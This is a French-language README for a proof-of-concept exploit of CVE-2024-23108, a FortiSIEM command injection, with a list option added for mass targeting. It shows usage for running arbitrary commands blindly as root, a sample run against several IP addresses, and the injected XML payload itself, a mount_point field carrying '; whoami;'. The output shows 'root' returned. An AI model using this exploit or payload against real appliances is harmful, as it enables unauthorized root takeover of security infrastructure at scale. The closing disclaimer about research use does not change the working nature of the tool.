
Itération de POC pour CVE-2024-23108 pouvant utiliser -l pour l'entrée de liste
Exploit de preuve de concept pour exécuter aveuglément des commandes en tant que root sur des appliances FortiSIEM vulnérables.
J'ai rapidement ajouté l'option de fournir une liste et quelques couleurs.
L'original (et tout le mérite) revient à horizon3 (voir l'article de blog ci-dessous).
Cause racine et indicateurs de compromission ici : https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST File containing list of IP addresses
-p PORT, --port PORT The port of the Phoenix Monitor service (default: 7900)
-c COMMAND, --command COMMAND
The command to blindly execute
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami
[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
<server_ip>127.0.0.1</server_ip>
<mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables ou tenus responsables de toute utilisation abusive du logiciel. Utilisez-le de manière responsable.